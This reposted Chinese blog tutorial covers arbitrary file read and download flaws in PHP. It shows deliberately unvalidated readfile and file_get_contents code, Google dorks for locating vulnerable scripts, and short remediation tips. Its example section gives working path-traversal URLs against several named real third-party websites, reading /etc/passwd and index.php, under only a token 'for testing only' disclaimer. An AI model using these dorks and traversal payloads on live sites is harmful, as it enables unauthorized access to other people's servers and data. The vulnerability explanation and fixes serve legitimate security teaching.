任意文件读取与下载

简介:

0x01 文件读取

    文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控

1
2
3
4
5
6
<?php
$filename  $_GET [ 'f' ];
echo  file_get_contents ( $filename );
?>
#当变量  $filename  没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如
/etc/passwd、/config.ini 等文件

0x02 实现文件下载的两种方式

    1.直接下载:

1
< a  href = "http://www.xxx.com/xxx.rar" ></ a >

    2.增加header头

1
2
3
4
5
6
7
<?php
$filename  $_GET [ 'f' ];
header( 'Content-Type:image/gif' );
header( 'Content-Disposition:attachment;filename=' . $filename );
header( 'Content-Length:' . filesize ( $filename ));
readfile( $filename );
?>

    当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。


0x03 成因

    都有读取文件的函数

    读物文件的路径用户可控,且没有经过校验,或者校验不严格

    都输出文件内容


0x04 Google Serch

1
2
inurl: "readfile.php?file="
inurl: "download.php?file="


0x05 修复方案

    过滤<.>(点)

    正则判断用户输入的参数格式,匹配输入的格式是否合格

    php.ini配置open_basedir


0x06 实例漏洞利用

(仅供测试,请勿随意破坏)

地址:

1
url:http: //hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

漏洞利用:

1
http: //hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

地址:

1
url:http: //storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

漏洞利用

1
http: //www.wodehouse.se/upload/readfile.php?file=../index.php




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1836973,如需转载请自行联系原作者
相关文章
|
8月前
|
存储 C语言
C 语言文件读取全指南:打开、读取、逐行输出
要从文件读取,可以使用 r 模式: FILE *fptr; // 以读取模式打开文件 fptr = fopen("filename.txt", "r"); 这将使 filename.txt 打开以进行读取。 在 C 中读取文件需要一点工作。坚持住!我们将一步一步地指导您。 接下来,我们需要创建一个足够大的字符串来存储文件的内容。 例如,让我们创建一个可以存储多达 100 个字符的字符串:
767 2
C 语言文件读取全指南:打开、读取、逐行输出
|
28天前
|
Java
java实现从HDFS上下载文件及文件夹的功能,以流形式输出,便于用户自定义保存任何路径下
java实现从HDFS上下载文件及文件夹的功能,以流形式输出,便于用户自定义保存任何路径下
86 34
|
5月前
|
JavaScript Java
不同目录下的文件读取方式
这篇文章介绍了在Java中不同情况下读取文件的方法,包括当文件与类文件处于同级目录、不同级目录,以及不区分目录层级时的读取方式。
37 1
|
8月前
|
存储 定位技术 Python
批量将文件名称符合要求的文件自动复制到新文件夹:Python实现
批量将文件名称符合要求的文件自动复制到新文件夹:Python实现
114 2
下载文件 | 下载流文件的处理方式
当下载文件时,返回为流的形式,所以在请求的时候设置 responseType:’arraybuffer’ 或者设置为 responseType: ‘blob’ 的时候,只有当接口返回正确的时候才会下载文件,返回错误的时候,应该是提示用户出错了,但是使用 arraybuffer 或者 blob 的时候,错误的信息也是返回这个形式的。所以需要转换一下。
179 0
|
监控 算法 Java
记一次从任意文件下载到getshell
记一次从任意文件下载到getshell
148 0
|
存储 安全 PHP
无回显的任意文件上传
无回显的任意文件上传
|
安全 Java 应用服务中间件
从任意文件读取到拿webshell
从任意文件读取到拿webshell
|
Python
python如何读取xlsx文件,并指定读取某一列,逐个逐个取出指定列中的值
要读取xlsx文件并指定读取某一列,可以使用Python中的pandas库。以下是一个读取xlsx文件并逐个逐个取出指定列中的值的示例代码:
1430 0
编写一个程序,如果名为Exercise12_15.txt的文件不存在,则创建该文件。使用文本I/O将随机产生的100个整数写入文件,文件中的整数由空格分开。从文件中读回数据并以升序显示数据。
编写一个程序,如果名为Exercise12_15.txt的文件不存在,则创建该文件。使用文本I/O将随机产生的100个整数写入文件,文件中的整数由空格分开。从文件中读回数据并以升序显示数据。
295 0

热门文章

最新文章